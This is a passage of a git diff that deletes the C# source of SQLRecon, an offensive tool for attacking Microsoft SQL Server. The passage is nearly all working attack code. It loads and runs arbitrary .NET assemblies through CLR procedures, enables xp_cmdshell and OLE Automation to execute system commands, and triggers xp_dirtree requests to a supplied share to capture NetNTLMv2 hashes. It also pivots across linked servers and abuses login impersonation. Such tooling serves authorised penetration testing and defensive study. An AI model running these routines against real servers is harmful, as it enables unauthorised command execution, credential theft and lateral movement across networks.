LOGIN = '" + impersonate + "'; DROP PROCEDURE IF EXISTS " + function + ";"); - sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; DROP ASSEMBLY IF EXISTS " + assem + ";"); - sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; EXEC sp_drop_trusted_assembly 0x" + dllHash + ";"); - } - - // this loads and execute a custom assembly against a standard sql server - public void Linked(SqlConnection con, String dll, String function, string linkedSqlServer) - { - string sqlOutput = ""; - - // first check to see if clr integration is enabled - sqlOutput = config.CheckLinked(con, "clr enabled", linkedSqlServer); - if (!sqlOutput.Contains("1")) - { - Console.WriteLine("\n[!] ERROR: You need to enable CLR (lenableclr)."); - return; - } - - // Get the SHA-512 hash for the DLL and convert the DLL to bytes - string[] dllArr = ConvertDLLToSQLBytes(dll); - string dllHash = dllArr[0]; - string dllBytes = dllArr[1]; - - if (dllHash.Length != 128) - { - Console.WriteLine("[!] ERROR: Unable to calculate hash for DLL"); - return; - } - - // generate a new random string for the assembly name - RandomString rs = new RandomString(); - string assem = rs.Generate(8); - - // check to see if the hash already exists - sqlOutput = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "SELECT hash FROM sys.trusted_assemblies where hash = 0x" + dllHash); - - if (sqlOutput.Length > 1) - { - Console.WriteLine("\n[!] Hash already exists in sp_add_trusted_assembly. Deleting it before moving forward."); - sqlQuery.ExecuteLinkedQueryWithSideEffects(con, linkedSqlServer, "EXEC sp_drop_trusted_assembly 0x" + dllHash + ";"); - } - - // add the SHA-512 hash of the DLL on to the SQL server using sp_add_trusted_assembly and verify it exists - sqlOutput = sqlQuery.ExecuteLinkedQueryWithSideEffects(con, linkedSqlServer, "EXEC sp_add_trusted_assembly 0x" + dllHash + ",N''" + dll + - ", version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'';" + - "SELECT hash FROM sys.trusted_assemblies where hash = 0x" + dllHash); - - if (sqlOutput.Contains("System.Byte[]")) - { - Console.WriteLine("\n[+] SUCCESS: Added SHA-512 hash for " + dll + " to sp_add_trusted_assembly."); - } - else - { - Console.WriteLine("\n[!] ERROR: Unable to add hash to sp_add_trusted_assembly."); - return; - } - - // drop the procedure name, which is the same as the function name if it exists already. Drop the assembly name if it exists already. - sqlQuery.ExecuteLinkedQuery(con, linkedSqlServer, "DROP PROCEDURE IF EXISTS " + function + ";"); - sqlQuery.ExecuteLinkedQuery(con, linkedSqlServer, "DROP ASSEMBLY IF EXISTS " + assem + ";"); - - // create a new custom assembly and strored procedure based on the function name in the DLL - Console.WriteLine("\n[+] Loading DLL into stored procedure '" + function + "'"); - sqlQuery.ExecuteLinkedQueryWithSideEffects(con, linkedSqlServer, "CREATE ASSEMBLY " + assem + " FROM 0x" + dllBytes + " WITH PERMISSION_SET = UNSAFE;"); - sqlQuery.ExecuteLinkedQueryWithSideEffects(con, linkedSqlServer, "CREATE PROCEDURE [dbo].[" + function + "] AS EXTERNAL NAME [" + assem + "].[StoredProcedures].[" + function + "];"); - sqlOutput = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "SELECT SCHEMA_NAME(schema_id), name FROM sys.procedures WHERE type = ''PC'';"); - - if (sqlOutput.Contains(function)) - { - Console.WriteLine("\n[+] SUCCESS: Added [" + assem + "].[StoredProcedures].[" + function + "]"); - } - else - { - Console.WriteLine("\n[!] ERROR: Unable to load DLL into Custom Stored Procedure. Deleting assembly and stored procedure."); - sqlQuery.ExecuteLinkedQuery(con, linkedSqlServer, "DROP PROCEDURE IF EXISTS " + function + ";"); - sqlQuery.ExecuteLinkedQuery(con, linkedSqlServer, "DROP ASSEMBLY IF EXISTS " + assem + ";"); - sqlQuery.ExecuteLinkedQueryWithSideEffects(con, linkedSqlServer, "EXEC sp_drop_trusted_assembly 0x" + dllHash + ";"); - return; - - } - - // executing new custom assembly and strored procedure - Console.WriteLine("\n[+] Executing DLL ..."); - sqlOutput = sqlQuery.ExecuteLinkedQueryWithSideEffects(con, linkedSqlServer, "EXEC " + function); - - // Cleaning up - Console.WriteLine("\n[+] Cleaning up. Deleting DLL, stored procedure and hash from sp_add_trusted_assembly."); - sqlQuery.ExecuteLinkedQuery(con, linkedSqlServer, "DROP PROCEDURE IF EXISTS " + function + ";"); - sqlQuery.ExecuteLinkedQuery(con, linkedSqlServer, "DROP ASSEMBLY IF EXISTS " + assem + ";"); - sqlQuery.ExecuteLinkedQueryWithSideEffects(con, linkedSqlServer, "EXEC sp_drop_trusted_assembly 0x" + dllHash + ";"); - } - } -} \ No newline at end of file diff --git a/SQLRecon/SQLRecon/modules/CaptureHash.cs b/SQLRecon/SQLRecon/modules/CaptureHash.cs deleted file mode 100644 index 98babcc..0000000 --- a/SQLRecon/SQLRecon/modules/CaptureHash.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Data.SqlClient; - -namespace SQLRecon.Modules -{ - public class SMB - { - SQLQuery sqlQuery = new SQLQuery(); - - // this takes a file share (\\ip\share) and requests the share directly from the sql server - public void CaptureHash(SqlConnection con, String share) - { - string sqlOutput = ""; - sqlOutput = sqlQuery.ExecuteCustomQuery(con,"EXEC master..xp_dirtree \"" + share + "\";"); - } - - // this takes a file share (\\ip\share) and requests the share from the linked ssql server - public void CaptureLinkedHash(SqlConnection con, String linkedSQLServer, String share) - { - string sqlOutput = ""; - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "select * from openquery(\"" + linkedSQLServer + "\", 'SELECT 1; EXEC master..xp_dirtree \"" + share + "\";')"); - } - } -} diff --git a/SQLRecon/SQLRecon/modules/EnableDisable.cs b/SQLRecon/SQLRecon/modules/EnableDisable.cs deleted file mode 100644 index b74681c..0000000 --- a/SQLRecon/SQLRecon/modules/EnableDisable.cs +++ /dev/null @@ -1,202 +0,0 @@ -using System; -using System.Data.SqlClient; - -namespace SQLRecon.Modules -{ - public class Configure - { - SQLQuery sqlQuery = new SQLQuery(); - - // this will enable advanced options then enable modules via sp_configure - public void EnableDisable(SqlConnection con, String module, String val, String impersonate = "null") - { - string sqlOutput = ""; - - // enable (1) or disable (0) module. logic exists for impersonation. - // common modules include: - // xp_cmdshell - // ole automation procedures - // clr enabled - if (!impersonate.Equals("null")) - { - sqlOutput = sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; " + - "EXEC sp_configure 'show advanced options', 1; " + - "RECONFIGURE; " + - "EXEC sp_configure '" + module + "', " + val + "; " + - "RECONFIGURE;" + - "SELECT value FROM sys.configurations WHERE name = '"+ module +"';"); - } - else - { - sqlOutput = sqlQuery.ExecuteQuery(con, "EXEC sp_configure 'show advanced options', 1; " + - "RECONFIGURE; " + - "EXEC sp_configure '" + module + "', " + val + "; " + - "RECONFIGURE;" + - "SELECT value FROM sys.configurations WHERE name = '" + module + "';"); - } - - ModuleLogic(sqlOutput, val, module); - - } - - public void LinkedEnableDisable(SqlConnection con, String module, String val, String linkedSqlServer) - { - String sqlOutput = ""; - - // get a list of linked sql servers - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "SELECT name FROM sys.servers WHERE is_linked = 1;"); - - // check to see if the linked sql server exists - if (!sqlOutput.ToLower().Contains(linkedSqlServer.ToLower())) - { - Console.WriteLine("\n[!] ERROR: " + linkedSqlServer + " does not exist"); - return; - } - - // check to see if RPC is enabled on the linked sql server - sqlOutput = CheckRpc(con, linkedSqlServer); - - if (sqlOutput.Equals("0")) - { - Console.WriteLine("\n[!] ERROR: You need to enable RPC (enablerpc) on " + linkedSqlServer); - return; - } - - sqlQuery.ExecuteQuery(con, "EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT " + linkedSqlServer); - sqlQuery.ExecuteQuery(con, "EXEC('sp_configure ''" + module + "'', "+ val +"; reconfigure;') AT " + linkedSqlServer); - - sqlOutput = sqlQuery.ExecuteLinkedQuery(con, linkedSqlServer, "select value from sys.configurations where name = ''"+ module +"''"); - - ModuleLogic(sqlOutput, val, module); - } - - // this will enable or disable rpc out on the supplied sql server - public string EnableDisableRpc(SqlConnection con, String val, String sqlServer) - { - string sqlOutput = ""; - - if (val.Equals("1")) - { - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "EXEC sp_serveroption '" + sqlServer + "', 'rpc out', 'true';"); - } - else - { - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "EXEC sp_serveroption '" + sqlServer + "', 'rpc out', 'false';"); - } - - if (sqlOutput.Contains("permission")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to enable or disable RPC"); - } - else if (sqlOutput.Contains("does not exist")) - { - Console.WriteLine("\n[!] ERROR: " + sqlServer + " does not exist"); - } - else - { - sqlOutput = CheckRpc(con, sqlServer); - if (sqlOutput.Equals("1") && val.Equals("1")) - { - Console.WriteLine("\nSUCCESS: Enabled RPC"); - } - else if (sqlOutput.Equals("0") && val.Equals("0")) - { - Console.WriteLine("\nSUCCESS: Disabled RPC"); - } - else - { - Console.WriteLine(sqlOutput); - } - } - - // returns 1 for enabled or 0 for disabled - return sqlOutput; - } - - // logic to verify if module enabled has been enabled or not. - public void ModuleLogic(String sqlOutput, String val, String module) - { - if (module.Equals("clr enabled")) - { - module = "CLR"; - } - - if (sqlOutput.Contains("0") && val.Equals("0")) - { - Console.WriteLine("\nSUCCESS: Disabled " + module); - } - else if (sqlOutput.Contains("1") && val.Equals("1")) - { - Console.WriteLine("\nSUCCESS: Enabled " + module); - } - else if (sqlOutput.Contains("permission")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to enable or disable " + module); - } - else if (sqlOutput.Contains("0") && val.Equals("1")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to enable or disable " + module); - } - else if (sqlOutput.Contains("1") && val.Equals("0")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to enable or disable " + module); - } - else - { - Console.WriteLine(sqlOutput); - } - } - - // this will check to see if advanced options for modules via sp_configure - public string Check(SqlConnection con, String module, String impersonate = "null") - { - string sqlOutput = ""; - - if (!impersonate.Equals("null")) - { - sqlOutput = sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; " + - "SELECT value FROM sys.configurations WHERE name = '" + module + "';"); - } - else - { - sqlOutput = sqlQuery.ExecuteQuery(con, "EXEC sp_configure 'show advanced options', 1; " + - "SELECT value FROM sys.configurations WHERE name = '" + module + "';"); - } - - // this will either be 0 or 1. - return sqlOutput; - } - - // this will check to see if advanced options for modules via sp_configure on a linkedSqlServer - public string CheckLinked(SqlConnection con, String module, String linkedSQLServer) - { - string sqlOutput = ""; - - sqlOutput = sqlQuery.ExecuteLinkedQuery(con, linkedSQLServer, "SELECT value FROM sys.configurations WHERE name = ''" + module + "'';"); - - // this will either be 0 or 1. - return sqlOutput; - } - - // this will check to see if rpc is enabled or not - public string CheckRpc(SqlConnection con, String sqlServer) - { - string sqlOutput = ""; - - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "EXEC sp_helpserver @server='" + sqlServer + "';"); - - if (sqlOutput.Contains("rpc out")) - { - sqlOutput = "1"; - } - else - { - sqlOutput = "0"; - } - - // returns 1 for enabled or 0 for disabled - return sqlOutput; - } - - } -} diff --git a/SQLRecon/SQLRecon/modules/ExecuteQuery.cs b/SQLRecon/SQLRecon/modules/ExecuteQuery.cs deleted file mode 100644 index 3d3f46a..0000000 --- a/SQLRecon/SQLRecon/modules/ExecuteQuery.cs +++ /dev/null @@ -1,249 +0,0 @@ -using System; -using System.Data.SqlClient; - -namespace SQLRecon.Modules -{ - public class SQLQuery - { - // Use this if the output is expected to just have 1 value to return - public string ExecuteQuery(SqlConnection con, String query) - { - string sqlString = "\n"; - - try - { - SqlCommand command = new SqlCommand(query, con); - SqlDataReader reader = command.ExecuteReader(); - while (reader.Read() == true) - { - sqlString += reader[0]; - } - reader.Close(); - } - catch (SqlException ex) - { - sqlString += "[!] ERROR: " + ex.Errors[0].Message.ToString(); - } - catch (InvalidOperationException) - { - } - - return sqlString; - } - - // Use this if the output is expected to just have over 1 item, row, column, etc - public string ExecuteCustomQuery(SqlConnection con, String query) - { - string sqlString = "\n\n"; - - try - { - SqlCommand command = new SqlCommand(query, con); - SqlDataReader reader = command.ExecuteReader(); - using (reader) - { - if (reader.HasRows) - { - int hyphenCount = 0; - string columnName = ""; - int columnCount = 0; - // print the column names - for (int i = 0; i < reader.FieldCount; i++) - { - if (reader.GetName(i).Equals("")) - { - // on occasion, there may not be a column name returned, so we add one. - columnName = "column" + i.ToString() + " | "; - } - else - { - columnName = reader.GetName(i) + " | "; - } - sqlString += columnName; - hyphenCount += columnName.Length; - columnCount += 1; - } - - sqlString += "\n"; - sqlString += new String('-', hyphenCount); - sqlString += "\n"; - - // get data - while (reader.Read()) - { - // formatting if there is only 1 column - if (columnCount <= 1) - { - for (int i = 0; i < reader.FieldCount; i++) - { - sqlString += reader.GetValue(i) + " | " + "\n"; - } - } - // formatting if there is more than 1 column - else - { - - for (int i = 0; i < reader.FieldCount; i++) - { - if (i == (columnCount - 1)) - { - sqlString += reader.GetValue(i) + " | \n"; - } - else - { - sqlString += reader.GetValue(i) + " | "; - } - } - } - } - - // remove the last space pipe space. - sqlString = sqlString.Remove(sqlString.Length - 2); - } - } - reader.Close(); - } - catch (SqlException ex) - { - sqlString += ex.Errors[0].Message.ToString(); - } - catch (InvalidOperationException) - { - } - return sqlString; - } - - public string ExecuteLinkedQuery(SqlConnection con, String linkedSQLServer, String query) - { - string sqlString = "\n"; - - try - { - SqlCommand command = new SqlCommand("select * from openquery(\"" + linkedSQLServer + "\", '" + query + "')", con); - SqlDataReader reader = command.ExecuteReader(); - while (reader.Read() == true) - { - sqlString += reader[0]; - } - reader.Close(); - } - catch (SqlException ex) - { - sqlString += "[!] ERROR: " + ex.Errors[0].Message.ToString(); - } - catch (InvalidOperationException) - { - } - - return sqlString; - } - - public string ExecuteLinkedCustomQuery(SqlConnection con, String linkedSQLServer, String query) - { - string sqlString = "\n\n"; - - try - { - SqlCommand command = new SqlCommand("select * from openquery(\"" + linkedSQLServer + "\", '" + query + "')", con); - SqlDataReader reader = command.ExecuteReader(); - using (reader) - { - if (reader.HasRows) - { - int hyphenCount = 0; - string columnName = ""; - int columnCount = 0; - // print the column names - for (int i = 0; i < reader.FieldCount; i++) - { - if (reader.GetName(i).Equals("")) - { - // on occasion, there may not be a column name returned, so we add one. - columnName = "column" + i.ToString() + " | "; - } - else - { - columnName = reader.GetName(i) + " | "; - } - sqlString += columnName; - hyphenCount += columnName.Length; - columnCount += 1; - } - - sqlString += "\n"; - sqlString += new String('-', hyphenCount); - sqlString += "\n"; - - // get data - while (reader.Read()) - { - // formatting if there is only 1 column - if (columnCount <= 1) - { - for (int i = 0; i < reader.FieldCount; i++) - { - sqlString += reader.GetValue(i) + " | " + "\n"; - } - } - // formatting if there is more than 1 column - else - { - - for (int i = 0; i < reader.FieldCount; i++) - { - if (i == (columnCount - 1)) - { - sqlString += reader.GetValue(i) + " | \n"; - } - else - { - sqlString += reader.GetValue(i) + " | "; - } - } - } - } - - // remove the last space pipe space. - sqlString = sqlString.Remove(sqlString.Length - 2); - } - } - reader.Close(); - } - catch (SqlException ex) - { - sqlString += ex.Errors[0].Message.ToString(); - } - catch (InvalidOperationException) - { - } - return sqlString; - } - - //Some stored procedures won't work via openquery so we need to use the "EXECUTE (QUERY) AT HOSTNAME" syntax - //IMPORTANT: Any queries passed into this function need to have their single quotes escaped - public string ExecuteLinkedQueryWithSideEffects(SqlConnection con, String linkedSqlServer, String query) - { - string sqlString = "\n"; - - try - { - SqlCommand command = new SqlCommand("EXECUTE ('" + query + "') AT " + linkedSqlServer + ";", con); - SqlDataReader reader = command.ExecuteReader(); - while (reader.Read() == true) - { - sqlString += reader[0]; - } - reader.Close(); - } - catch (SqlException ex) - { - sqlString += "[!] ERROR: " + ex.Errors[0].Message.ToString(); - } - catch (InvalidOperationException) - { - } - - return sqlString; - } - } -} diff --git a/SQLRecon/SQLRecon/modules/GetDomainSPNs.cs b/SQLRecon/SQLRecon/modules/GetDomainSPNs.cs deleted file mode 100644 index a58d0c8..0000000 --- a/SQLRecon/SQLRecon/modules/GetDomainSPNs.cs +++ /dev/null @@ -1,95 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Security.Principal; - -using SQLRecon.utilities; - -namespace SQLRecon.Modules -{ - public static class DomainSPNs - { - public static void GetMSSQLSPNs(string domain = null) - { - Console.Write("Looking for MSSQL SPNs... "); - - var searcher = string.IsNullOrWhiteSpace(domain) - ? new DomainSearcher() - : new DomainSearcher($"LDAP://{domain}"); - - var ldap = new Ldap(searcher); - - const string filter = "(&(sAMAccountType=805306368)(servicePrincipalName=MSSQL*))"; - var properties = new[] { "cn", "samaccountname", "objectsid", "serviceprincipalname", "lastlogon" }; - - var results = ldap.ExecuteQuery(filter, properties); - var instances = new List(); - - foreach (var result in results.Values) - { - foreach (string spn in result["serviceprincipalname"]) - { - var sqlInstance = new SqlInstance(); - - // parse the SPN string - // MSSQLSvc/sql-1.testlab.local:1433 - // MSSQLSvc/sql-1.testlab.local - - var i1 = spn.IndexOf('/'); - - var serviceName = spn.Substring(0, i1); - var instance = spn.Substring(i1 + 1, spn.Length - i1 - 1); - - var i2 = instance.IndexOf(':'); - - var computerName = i2 == -1 - ? instance - : instance.Substring(0, i2); - - sqlInstance.ComputerName = computerName; - sqlInstance.Instance = instance; - sqlInstance.ServiceName = serviceName; - sqlInstance.Spn = spn; - - sqlInstance.AccountName = result["samaccountname"][0].ToString(); - sqlInstance.AccountCn = result["cn"][0].ToString(); - - var sidBytes = (byte[])result["objectsid"][0]; - sqlInstance.AccountSid = new SecurityIdentifier(sidBytes, 0).ToString(); - - var lastLogon = (long)result["lastlogon"][0]; - sqlInstance.LastLogon = DateTime.FromBinary(lastLogon).ToString("G"); - - instances.Add(sqlInstance); - } - } - - Console.WriteLine($"{instances.Count} found."); - instances.ForEach(i => i.Print()); - } - - private sealed class SqlInstance - { - public string ComputerName { get; set; } - public string Instance { get; set; } - public string AccountSid { get; set; } - public string AccountName { get; set; } - public string AccountCn { get; set; } - public string ServiceName { get; set; } - public string Spn { get; set; } - public string LastLogon { get; set; } - - public void Print() - { - Console.WriteLine(""); - Console.WriteLine("ComputerName: {0}", ComputerName); - Console.WriteLine("Instance: {0}", Instance); - Console.WriteLine("AccountSid: {0}", AccountSid); - Console.WriteLine("AccountName: {0}", AccountName); - Console.WriteLine("AccountCn: {0}", AccountCn); - Console.WriteLine("Service: {0}", ServiceName); - Console.WriteLine("SPN: {0}", Spn); - Console.WriteLine("LastLogon: {0}", LastLogon); - } - } - } -} \ No newline at end of file diff --git a/SQLRecon/SQLRecon/modules/Help.cs b/SQLRecon/SQLRecon/modules/Help.cs deleted file mode 100644 index 1b252ff..0000000 --- a/SQLRecon/SQLRecon/modules/Help.cs +++ /dev/null @@ -1,119 +0,0 @@ -using System; - -namespace SQLRecon.Modules -{ - public static class Help - { - /// - /// Prints the help menu to console - /// - public static void Show() - { - Console.WriteLine(""); - Console.WriteLine("SQLRecon v2.2.2"); - Console.WriteLine("github.com/skahwah/SQLRecon"); - Console.WriteLine(""); - - Console.WriteLine("Enumeration Type (-e):"); - Console.WriteLine("-e domain - Use the current users token to enumerate AD for MSSQL SPNs."); - Console.WriteLine("\t[+] -d domain.local | (OPTIONAL) Domain FQDN"); - Console.WriteLine(""); - - Console.WriteLine("Authentication Type (-a):"); - - Console.WriteLine("-a Windows - Use Windows authentication. This uses the current users token."); - Console.WriteLine("\t[+] -s SERVERNAME | SQL server hostname"); - Console.WriteLine("\t[+] -d DATABASE | (OPTIONAL) SQL server database name, defaults to 'master'"); - Console.WriteLine("\t[+] -r PORT | (OPTIONAL) Defaults to 1433"); - Console.WriteLine(""); - - Console.WriteLine("-a Local - Use local authentication. This requires the credentials for a local database user."); - Console.WriteLine("\t[+] -s SERVERNAME | SQL server hostname"); - Console.WriteLine("\t[+] -d DATABASE | (OPTIONAL) SQL server database name, defaults to 'master'"); - Console.WriteLine("\t[+] -u USERNAME | Username of local SQL user"); - Console.WriteLine("\t[+] -p PASSWORD | Password of local SQL user"); - Console.WriteLine("\t[+] -r PORT | (OPTIONAL) Defaults to 1433"); - Console.WriteLine(""); - - Console.WriteLine("-a Azure - Use Azure AD domain username and password authentication. This requires the credentials for a domain user."); - Console.WriteLine("\t[+] -s SERVERNAME | SQL server hostname"); - Console.WriteLine("\t[+] -d DATABASE | (OPTIONAL) SQL server database name, defaults to 'master'"); - Console.WriteLine("\t[+] -r DOMAIN.COM | FQDN of Domain"); - Console.WriteLine("\t[+] -u USERNAME | Username of domain user"); - Console.WriteLine("\t[+] -p PASSWORD | Password of domain user"); - Console.WriteLine(""); - - Console.WriteLine("Standard Modules (-m):"); - Console.WriteLine("\t[+] info | Show information about the SQL Server"); - Console.WriteLine("\t[+] query -o QUERY | Execute an arbitrary SQL query"); - Console.WriteLine("\t[+] whoami | See what user you are logged in as, mapped as and what roles exist"); - Console.WriteLine("\t[+] users | See what user accounts and groups can authenticate against the database"); - Console.WriteLine("\t[+] databases | Show all databases present on the SQL server"); - Console.WriteLine("\t[+] tables -o DATABASE | Show all tables in the database you specify"); - Console.WriteLine("\t[+] search -o KEYWORD | Search column names within tables of the database you are connected to"); - Console.WriteLine("\t[+] smb -o SHARE | Capture NetNTLMv2 hash"); - Console.WriteLine("\t------------------------------------------------------------"); - Console.WriteLine("\t| -> Command Execution (requires sysadmin role or similar) |"); - Console.WriteLine("\t------------------------------------------------------------"); - Console.WriteLine("\t[+] enablexp | Enable xp_cmdshell "); - Console.WriteLine("\t[+] disablexp | Disable xp_cmdshell"); - Console.WriteLine("\t[+] xpcmd -o COMMAND | Execute an arbitrary system command"); - Console.WriteLine("\t[+] enableole | Enable OLE Automation Procedures"); - Console.WriteLine("\t[+] disableole | Disable OLE Automation Procedures"); - Console.WriteLine("\t[+] olecmd -o COMMAND | Execute an arbitrary system command"); - Console.WriteLine("\t[+] enableclr | Enable Custom CLR Assemblies"); - Console.WriteLine("\t[+] disableclr | Disable Custom CLR Assemblies"); - Console.WriteLine("\t[+] clr -o DLL -f FUNCTION | Load and execute a .NET assembly within a custom stored procedure"); - Console.WriteLine("\t[+] agentstatus | Check to see if SQL agent is running and obtain jobs"); - Console.WriteLine("\t[+] agentcmd -o COMMAND | Execute an arbitrary system command"); - Console.WriteLine(""); - - Console.WriteLine("Linked SQL Server Modules (-m):"); - Console.WriteLine("\t[+] links | Enumerate any linked SQL servers"); - Console.WriteLine("\t[+] lquery -l LINKEDSERVERNAME -o QUERY | Execute an arbitrary SQL query on the linked SQL server"); - Console.WriteLine("\t[+] lwhoami -l LINKEDSERVERNAME | See what user you are logged in as, mapped as and what roles exist on the linked SQL server"); - Console.WriteLine("\t[+] lusers -l LINKEDSERVERNAME | See what user accounts and groups can authenticate against the database on the linked SQL server"); - Console.WriteLine("\t[+] ldatabases -l LINKEDSERVERNAME | Show all databases present on the linked SQL server"); - Console.WriteLine("\t[+] ltables -l LINKEDSERVERNAME -o DATABASE | Show all tables in the supplied database on the linked SQL server"); - Console.WriteLine("\t[+] lsmb -l LINKEDSERVERNAME -o SHARE | Capture NetNTLMv2 hash from linked SQL server"); - Console.WriteLine("\t------------------------------------------------------------"); - Console.WriteLine("\t| -> Command Execution (requires sysadmin role or similar) |"); - Console.WriteLine("\t------------------------------------------------------------"); - Console.WriteLine("\t[+] lenablerpc -l LINKEDSERVERNAME | Enable RPC and RPC out on a linked SQL server"); - Console.WriteLine("\t[+] ldisablerpc -l LINKEDSERVERNAME | Disable RPC and RPC out on a linked SQL server"); - Console.WriteLine("\t[+] lenablexp -l LINKEDSERVERNAME | Enable xp_cmdshell on the linked SQL server"); - Console.WriteLine("\t[+] ldisablexp -l LINKEDSERVERNAME | Disable xp_cmdshell on the linked SQL server"); - Console.WriteLine("\t[+] lxpcmd -l LINKEDSERVERNAME -o COMMAND | Execute an arbitrary system command on the linked SQL server"); - Console.WriteLine("\t[+] lenableole -l LINKEDSERVERNAME | Enable OLE Automation Procedures on the linked SQL server"); - Console.WriteLine("\t[+] ldisableole -l LINKEDSERVERNAME | Disable OLE Automation Procedures on the linked SQL server"); - Console.WriteLine("\t[+] lolecmd -l LINKEDSERVERNAME -o COMMAND | Execute an arbitrary system command on the linked SQL server"); - Console.WriteLine("\t[+] lenableclr -l LINKEDSERVERNAME | Enable Custom CLR Assemblies on the linked SQL server"); - Console.WriteLine("\t[+] ldisableclr -l LINKEDSERVERNAME | Disable Custom CLR Assemblies on the linked SQL server"); - Console.WriteLine("\t[+] lclr -o DLL -f FUNCTION | Load and execute a .NET assembly within a custom stored procedure on the linked SQL server"); - Console.WriteLine("\t[+] lagentstatus -l LINKEDSERVERNAME | Check to see if SQL agent is running and obtain jobs on the linked SQL server"); - Console.WriteLine("\t[+] lagentcmd -l LINKEDSERVERNAME -o COMMAND | Execute an arbitrary system command on the linked SQL server"); - Console.WriteLine(""); - - Console.WriteLine("Impersonation Modules (-m):"); - Console.WriteLine("\t[+] impersonate | Enumerate any user accounts that can be impersonated"); - Console.WriteLine("\t[+] iwhoami -i IMPERSONATEUSER | See what user you are logged in as, mapped as and what roles exist"); - Console.WriteLine("\t[+] iusers -i IMPERSONATEUSER | See what user accounts and groups can authenticate against the database"); - Console.WriteLine("\t[+] iquery -i IMPERSONATEUSER -o QUERY | Execute an arbitrary SQL query as an impersonated user"); - Console.WriteLine("\t------------------------------------------------------------"); - Console.WriteLine("\t| -> Command Execution (requires sysadmin role or similar) |"); - Console.WriteLine("\t------------------------------------------------------------"); - Console.WriteLine("\t[+] ienablexp -i IMPERSONATEUSER | Enable xp_cmdshell"); - Console.WriteLine("\t[+] idisablexp -i IMPERSONATEUSER | Disable xp_cmdshell"); - Console.WriteLine("\t[+] ixpcmd -i IMPERSONATEUSER -o COMMAND | Execute an arbitrary system command"); - Console.WriteLine("\t[+] ienableole -i IMPERSONATEUSER | Enable OLE Automation Procedures"); - Console.WriteLine("\t[+] idisableole -i IMPERSONATEUSER | Disable OLE Automation Procedures"); - Console.WriteLine("\t[+] iolecmd -i IMPERSONATEUSER -o COMMAND | Execute an arbitrary system command"); - Console.WriteLine("\t[+] ienableclr -i IMPERSONATEUSER | Enable CLR integration"); - Console.WriteLine("\t[+] idisableclr -i IMPERSONATEUSER | Disable CLR integration"); - Console.WriteLine("\t[+] iclr -i IMPERSONATEUSER -o DLL -f FUNCTION | Load and execute a .NET assembly within a custom stored procedure"); - Console.WriteLine("\t[+] iagentstatus -i IMPERSONATEUSER | Check to see if SQL agent is running and obtain jobs"); - Console.WriteLine("\t[+] iagentcmd -i IMPERSONATEUSER -o COMMAND | Execute an arbitrary system command"); - } - } -} - diff --git a/SQLRecon/SQLRecon/modules/Impersonate.cs b/SQLRecon/SQLRecon/modules/Impersonate.cs deleted file mode 100644 index 85fbf78..0000000 --- a/SQLRecon/SQLRecon/modules/Impersonate.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Data.SqlClient; - -namespace SQLRecon.Modules -{ - public class Impersonate - { - SQLQuery sqlQuery = new SQLQuery(); - - // this checks to see if any logins can be impersonated on the sql server - public void Check(SqlConnection con) - { - string sqlOutput = ""; - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';"); - - if (sqlOutput.Contains("name")) - { - Console.WriteLine(sqlOutput); - } - else - { - Console.WriteLine("\nNo logins can be impersonated"); - } - } - } -} \ No newline at end of file diff --git a/SQLRecon/SQLRecon/modules/OLECmdExec.cs b/SQLRecon/SQLRecon/modules/OLECmdExec.cs deleted file mode 100644 index c10d01b..0000000 --- a/SQLRecon/SQLRecon/modules/OLECmdExec.cs +++ /dev/null @@ -1,147 +0,0 @@ -using System; -using System.Data.SqlClient; - -namespace SQLRecon.Modules -{ - public class OLE - { - - SQLQuery sqlQuery = new SQLQuery(); - Configure config = new Configure(); - - // this will execute an arbitrary command against a SQL server - public void StandardCommand(SqlConnection con, String cmd) - { - string sqlOutput = ""; - - // first check to see if ole automation procedures is enabled - sqlOutput = config.Check(con,"Ole Automation Procedures"); - if (!sqlOutput.Contains("1")) - { - Console.WriteLine("\n[!] ERROR: You need to enable OLE Automation Procedures (enableole)."); - return; - } - - RandomString rs = new RandomString(); - string output = rs.Generate(8); // generate a new random output name - string program = rs.Generate(8); // generate a new random program name - - Console.WriteLine("\n[+] Setting sp_oacreate to: " + output); - Console.WriteLine("\n[+] Setting sp_oamethod to: " + program); - - sqlOutput = sqlQuery.ExecuteQuery(con, "DECLARE @" + output + " INT; " + - "DECLARE @" + program + " VARCHAR(255);" + - "SET @" + program + " = 'Run(\"" + cmd + "\")';" + - "EXEC sp_oacreate 'wscript.shell', @" + output + " out;" + - "EXEC sp_oamethod @" + output + ", @" + program + ";" + - "EXEC sp_oadestroy @" + output + ";"); - - if (sqlOutput.Contains("0")) - { - Console.WriteLine("\n[+] Successfully executed command. Destroyed sp_oamethod."); - } - else if (sqlOutput.Contains("permission")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to enable OLE Automation Procedures\n"); - } - else if (sqlOutput.Contains("blocked")) - { - Console.WriteLine("\n[!] ERROR: You need to enable OLE Automation Procedures\n"); - } - else - { - Console.WriteLine("\n[!] ERROR: " + sqlOutput + "\n"); - } - } - - public void ImpersonateCommand(SqlConnection con, String cmd, String impersonate = "null") - { - string sqlOutput = ""; - - // first check to see if ole automation procedures is enabled - sqlOutput = config.Check(con, "Ole Automation Procedures", impersonate); - if (!sqlOutput.Contains("1")) - { - 